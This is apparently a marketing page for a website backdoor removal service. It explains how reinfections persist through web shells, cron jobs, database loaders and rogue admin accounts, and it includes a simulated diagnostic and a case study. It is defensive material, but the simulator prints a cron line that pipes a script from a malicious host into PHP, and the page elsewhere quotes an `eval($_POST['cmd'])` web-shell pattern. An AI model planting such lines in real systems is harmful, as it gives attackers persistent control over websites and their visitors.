Malware Keeps Coming Back? Find What Is Recreating It
Deleting the infected file is not enough if something else can put it back. A hidden website backdoor allows malicious code or unauthorized access to persist across file scans, manual deletions, and server reboots.
A backdoor may persist through PHP web shells, modified application files, hidden plugin code, scheduled cron jobs, database injections, rogue administrator accounts, stolen hosting credentials, or remote script loaders. Shrazen traces repeated infections back to the mechanisms capable of restoring them, removes confirmed persistence, restores trusted upstream components, revokes compromised access, and verifies clean state over time.
Signs Your Website Has An Active Backdoor
If your website exhibits any of these symptoms, a hidden persistence mechanism is actively bypassing file cleanup:
STOP THE REINFECTION CHAIN ACROSS EVERY LAYER
“Persistent compromise can survive the deletion of the first malicious file. Shrazen traces what can restore attacker access—not only what the attacker already installed.”
The Backdoor Remediation Shift
Why repeatedly deleting flagged files fails—and how tracing root-cause persistence permanently cures reinfection.
1. Scanner Flags Payload File
Automated tool detects `malware.php` or a rogue redirect script on Monday.
2. Manual Deletion (Website Looks Clean)
The infected file is deleted. Site appears functional for a few hours.
3. Hidden Persistence Triggers
A dormant web shell, cron job, or stolen admin account executes on Tuesday.
4. Re-infection & Blacklist Flags
`malware.php` is recreated. Google warns visitors of malicious deceptive behavior.
1. Triage & Evidence Preservation
Preserve forensic evidence copy, capture timestamps, and map reappearing artifact dependencies.
2. Upstream Diff & Web Shell Purge
Compare files against official vendor checksums; destroy web shells and upload executables.
3. Scheduler, Cron & DB Sanitization
Audit system cron, WP-Cron hooks, and clean injected database options via database recovery.
4. Access Revocation & Vulnerability Patching
Purge rogue admins, rotate credentials/sessions, and patch the entry vulnerability.
5. Multi-Day Verification & Hardening
Monitor file integrity, establish known-good backups, and deploy proactive security hardening.
Do not stay trapped in the "Scan → Delete → Wait → Reinfected" loop. Shrazen treats repeated malware as a persistence investigation, eradicating the root mechanism whether it lives in code, cron, databases, accounts, or deployment pipelines.
What Is A Website Backdoor?
A website backdoor is an unauthorized mechanism that enables future access, execution, or modification outside the website's intended administrative controls.
Anatomy of Persistence
How attackers maintain unauthorized access after file deletion.
- ✓PHP Web Shells & Remote Code ExecutorsAccepting web parameters (`eval($_POST['cmd'])`) to write files and browse directories.
- ✓Modified Legitimate Application FilesHiding 20 lines of malicious loader inside a 500-line trusted theme or plugin file.
- ✓Scheduled Tasks & WP-Cron HooksAutomated recurring jobs fetching remote payloads from external servers every 6 hours.
- ✓Database Injections & Autoloaded OptionsStoring base64 scripts in database tables that execute whenever a page loads.
- ✓Unauthorized Administrator AccountsRogue users with full CMS permissions allowing attackers to log in and reinstall code.
Shrazen Eradication Protocols
Engineering protocols to locate and permanently destroy all persistence layers.
- ★Upstream Vendor Integrity DiffingComparing production files against official WordPress, plugin, and theme repositories.
- ★Surgical Uploads & Executable SanitizationNeutralizing non-media PHP executables in upload paths without touching client assets.
- ★Complete Cron & Scheduler PurgeAuditing system crontabs, user cron jobs, and WP-Cron hooks to eliminate auto-downloaders.
- ★Privileged Access & Session RevocationPurging rogue admins, rotating all secrets, and invalidating active session tokens.
- ★Entry-Point Vulnerability PatchingRemediating the flaw that allowed initial entry via vulnerability assessment.
The core principle: Fixing the vulnerability without removing the backdoor leaves attacker access open. Removing the backdoor without fixing the vulnerability allows reinfection. We resolve both.
How Shrazen Eliminates Website Backdoors
We execute 5 specialized engineering workflows to triage, isolate, sanitize, revoke access, and verify clean state.
Reinfection Triage & Forensic Evidence Preservation
When malware repeatedly returns, we preserve forensic evidence before destructive deletion to understand execution triggers and avoid destroying critical timeline clues.
- Documenting recurring filenames, injection timestamps, and scanner alerts
- Creating controlled forensic copies of suspicious files and database records
- Reviewing server access logs and authentication events according to OWASP logging guidelines
- Mapping the relationship between visible payloads and upstream creation mechanisms
Upstream Package Comparison & File Integrity Diffing
Attackers disguise backdoors with innocent names like `class-cache.php` or inject loaders into legitimate files. We compare production components against official vendor packages.
Searching only for files named "shell.php" or relying on simple signature scanners
Shrazen Standard:Diffing production code against trusted WordPress and vendor repository checksums
- Comparing WordPress Core, plugin, and theme files against clean repository releases
- Replacing corrupted components with verified vendor packages rather than hand-patching
- Preserving custom theme templates, configuration files, and legitimate operational tooling
- Auditing `/wp-content/mu-plugins/` and custom drop-ins for unauthorized code
Web Shell, Upload Executable & Core Sanitization
We systematically neutralize server-side web shells and rogue executables across all writable directories.
- Purging standalone PHP web shells, command execution scripts, and directory indexers
- Sanitizing unexpected executable code inside media upload directories (`/wp-content/uploads/`)
- Restoring clean `wp-config.php`, `index.php`, and root server rewrite files (`.htaccess` / Nginx)
- Resolving downstream payloads including malicious redirects and SEO spam
Database Persistence, Scheduler & Cron Eradication
Not every backdoor is a file. We audit and sanitize background scheduling systems and database storage.
- Sanitizing malicious serialized strings in `wp_options` via database recovery
- Auditing system crontabs, user cron jobs, and background queue workers
- Inspecting WP-Cron scheduled callbacks to destroy automatic payload redownloaders
- Validating third-party tag manager containers and external script loaders
Privileged Access Audit, Credential Rotation & Verified Monitoring
We revoke unauthorized administrative access, patch entry points, and verify that the site remains clean over time.
- Purging unauthorized administrator accounts, hidden database users, and rogue SSH keys
- Rotating all CMS passwords, database secrets, SFTP/SSH keys, and API tokens
- Terminating active authenticated sessions and refresh tokens per OWASP session standards
- Remediating the root vulnerability with security hardening and continuous monitoring
Backdoor Attack Variations & Persistence Vectors
Tailored persistence removal workflows engineered for specific compromise mechanisms.
PHP Web Shells & Upload Executables
Standalone server scripts placed in upload or cache directories capable of executing arbitrary commands, modifying files, or creating new payloads on demand.
- Uploads executable purge
- Standalone shell eradication
- Upload execution restrictions
- Malware Removal Service →
Modified Core, Plugin & Theme Hooks
Malicious loader snippets inserted into legitimate PHP files, triggering dynamically during regular visitor requests while evading simple file listing checks.
- Upstream repository diffing
- Clean component replacement
- Integrity checksum validation
- WordPress Malware Removal →
Scheduled Tasks & Cron Reinfectors
Automated system or WP-Cron tasks configured to fetch remote code from attacker servers every few hours, restoring deleted malware files repeatedly.
- System crontab inspection
- WP-Cron hook sanitization
- Outbound request filtering
- Reinfection Monitoring →
Unauthorized Admin Accounts & Credential Theft
Compromised or newly injected administrator accounts allowing attackers to log in legitimately, bypass security scanners, and upload malicious plugins.
- Privileged user table audit
- Credential & session rotation
- Full incident containment
- Hacked Site Recovery →
Superficial File Deletion vs Shrazen Deep Persistence Eradication
Why deleting flagged files guarantees reinfection while persistence eradication delivers lasting clean state.
| Remediation Dimension | Superficial File Deletion | Shrazen Deep Persistence Eradication |
|---|---|---|
| Scope of Investigation | Only deletes files flagged by a signature scanner | Traces the full persistence chain across files, DB, cron, accounts, CI/CD |
| Modified Legitimate Files | Often missed or corrupts site during manual edits | Diffs against official upstream repository checksums & restores clean packages |
| Scheduled Tasks & Cron | Ignored; allows automated cron jobs to redownload malware | Audits system crontabs, user crons, and WP-Cron recurring hooks |
| Database Persistence | Ignored; database loaders remain untouched | Purges malicious autoloaded options, serialized loaders & rogue user records |
| Accounts & Active Sessions | Left untouched; attackers log back in and reinstall code | Purges rogue admins, rotates all credentials, and terminates active sessions |
| Entry Point Remediation | Untouched; leaves the original vulnerability open | Patches or removes vulnerable plugins/components to prevent re-entry |
| Post-Cleanup Verification | Assumes site is clean immediately after deletion | Monitors file integrity, recurring cron, and confirms zero recreation over time |
What We Clean & Remediate
Comprehensive eradication across every persistence vector in your website environment.
PHP Web Shells & Remote Executors
Purging standalone backdoor scripts (`c99`, `wso`, custom base64 executors) capable of arbitrary server command execution.
Injected Loaders in Plugins & Themes
Diffing and restoring legitimate core, plugin, and theme files altered with hidden `eval()` or remote code include hooks.
Malicious Cron Jobs & WP-Cron Tasks
Auditing and deleting scheduled jobs configured in system crontabs or WordPress WP-Cron that periodically restore malware.
Database Injections & Autoloaded Options
Sanitizing malicious base64 code and script loaders stored in database tables without corrupting legitimate customer data.
Unauthorized Administrator Accounts
Identifying and purging hidden or rogue administrative accounts, malicious SSH keys, and unauthorized API credentials.
Vulnerable Entry Points & Re-infection Flaws
Patching or replacing the compromised third-party plugins, themes, or unvalidated endpoints that enabled initial attacker access.
The Shrazen Backdoor Removal Process
A structured 4-step engineering protocol designed to trace persistence, restore clean code, and guarantee clean state.
Triage & Evidence
Forensic Mapping
- Document reinfection pattern & timing
- Preserve controlled evidence copy
- Review server logs & auth events
- Map recurring artifact dependencies
Trace & Upstream Diff
Isolate Persistence
- Diff files against official repositories
- Inspect upload paths for PHP scripts
- Audit system cron & WP-Cron hooks
- Scan DB options & user tables
Eradicate & Patch
Destroy Backdoors
- Purge web shells & injected loaders
- Restore clean vendor packages
- Delete rogue admin accounts & crons
- Patch original entry vulnerability
Revoke & Verify
Secure & Monitor
- Rotate passwords, keys & tokens
- Terminate all active sessions
- Establish verified clean backup
- Continuous reinfection monitoring
Backdoor Diagnostic & Eradication Simulator
Simulate how Shrazen identifies hidden persistence vectors, traces reinfection dependencies, and permanently closes attacker access.
[PERSISTENCE TRACE] Multi-Tier Web Shell & Injected Loader Chain Detected...
- Visible Output: `/uploads/cache.php` (Redirect script serving casino ads)
- Hidden Creator: Injected code block in `/wp-content/themes/active/functions.php` (Line 412)
- Web Shell: Standalone obfuscated executor found at `/wp-includes/class-wp-cache-flusher.php`
- Trigger Mechanism: HTTP POST request sending base64 payloads to fake cache flusher file
[CRON AUDIT] Rogue Automated Download Schedulers Detected...
- System Cron: `*/30 * * * * curl -s https://malware-cdn.cc/sh | php` in www-data crontab
- WP-Cron Hook: Rogue event `wp_update_health_cache` executing eval() callback every 2 hours
- Behavior: Even if all website files are deleted, cron fetches fresh payload from remote server
[ACCESS AUDIT] Unauthorized Administrator & Session Persistence...
- Rogue Admin: User `wp_backup_support` created with Administrator role (hidden via CSS in wp-admin)
- Stolen Credentials: Legitimate admin account password compromised via infostealer malware
- Active Sessions: Attacker holds active session cookie bypassing password changes
Hidden Web Shell Re-infection
Deleting the visible spam file leaves the web shell available to generate new payloads immediately.
Automated Cron Execution
Scheduled background tasks pull remote scripts, recreating infections on a fixed clockwork schedule.
Stolen Privileged Credentials
Without complete password and session revocation, attackers log back into legitimate dashboards.
Unpatched Entry Vulnerabilities
Leaving the vulnerable plugin active allows automated botnets to exploit the same hole repeatedly.
End Recurring Website Malware
Do not let hidden backdoors destroy your website reputation, SEO rankings, and customer trust.
Start Backdoor RemovalCMS & Server Environments We Remediate
Tailored persistence removal and code integrity restoration workflows for your specific technical stack.
WordPress & WooCommerce
Backdoor cleanup for:
- Web shells in uploads, plugins & themes
- Compromised `mu-plugins` & core files
- WP-Cron scheduled recurring loaders
- Rogue admin accounts in `wp_users`
Custom PHP & Laravel
Backdoor cleanup for:
- Compromised controllers & routes
- Rogue middleware response injectors
- Storage/public upload executables
- Compromised `.env` secrets & app keys
Node.js, Next.js & Headless CMS
Backdoor cleanup for:
- Compromised npm supply chain packages
- Injected serverless functions & API routes
- Compromised CI/CD deployment pipelines
- Stolen environment tokens & secrets
cPanel, VPS & Shared Hosting
Infrastructure cleanup for:
- Cross-site contamination in shared accounts
- Server-level crontab & daemon persistence
- Compromised SFTP/SSH keys & cPanel users
- Rogue rewrite rules in `.htaccess` / Nginx
Why Choose Shrazen for Website Backdoor Removal?
The rare combination of deep web security engineering, upstream package integrity analysis, and persistence forensics.
1. We Investigate Reinfection Causes
The first question is never "Which file did the scanner flag?" It is "What mechanism has the ability to recreate it?" We close the entire creation chain.
2. Trusted Upstream Package Restoration
Where trusted originals exist, replacing compromised components against official repository checksums is far safer than guessing which lines were altered.
3. Access, Session & Credential Awareness
Unknown administrator accounts, compromised database secrets, and active session tokens function as backdoors. We revoke and rotate all privileged access.
4. No False Guarantees, Rigorous Verification
We don't make unrealistic "100% unhackable" marketing claims. We deliver systematic evidence-based persistence eradication, vulnerability remediation, and continuous monitoring.
Real-World Case: Ending A 3-Week Reinfection Cycle
How tracing persistence solved a recurring WordPress compromise that three scanners failed to fix.
The "Daily Deletion" Trap
An ecommerce site owner discovered `/wp-content/uploads/cache.php` triggering mobile casino redirects. Every morning, their automated scanner flagged the file, deleted it, and declared the site clean. By 3:00 PM, the file was back.
- Automated scanners kept reporting "Site Clean" after deletion
- Search Console issued deceptive pages warnings
- Mobile shoppers were redirected to counterfeit pharmacy stores
The Hidden Creation Chain
Shrazen performed an upstream package diff and discovered: (1) an obfuscated loader hook in `functions.php`, (2) a standalone web shell hidden in `wp-includes`, and (3) a custom WP-Cron task scheduled to trigger the download every 6 hours.
- Purged standalone web shell & restored official core files
- Sanitized WP-Cron schedule & deleted rogue administrator
- Patched entry vulnerability in outdated slider plugin
- 0 re-infections observed over 30 days of continuous monitoring
Frequently Asked Questions
Everything you need to know about website backdoors, web shells, recurring malware, and persistence removal.
What is a website backdoor?▼
What is the difference between malware and a backdoor?▼
Why does my website malware keep coming back after deletion?▼
What is a PHP web shell?▼
Can a backdoor hide inside an existing legitimate file?▼
Can a database contain a backdoor?▼
Can scheduled tasks and cron jobs recreate malware?▼
Can an unauthorized administrator account function as a backdoor?▼
Does updating my plugins remove a backdoor?▼
Does removing the backdoor fix the entry vulnerability?▼
Can backdoors spread between websites on shared hosting?▼
Can a malware scanner find every backdoor?▼
Should passwords and API secrets be rotated after cleanup?▼
How do you verify that the backdoor is 100% eliminated?▼
If The Malware Returns, Something Still Has A Way Back In
The recurring file is only the visible output. Behind it lies a web shell, scheduled loader, rogue admin, or stolen credential.
What is recreating your website infection, and how do you close the loop permanently?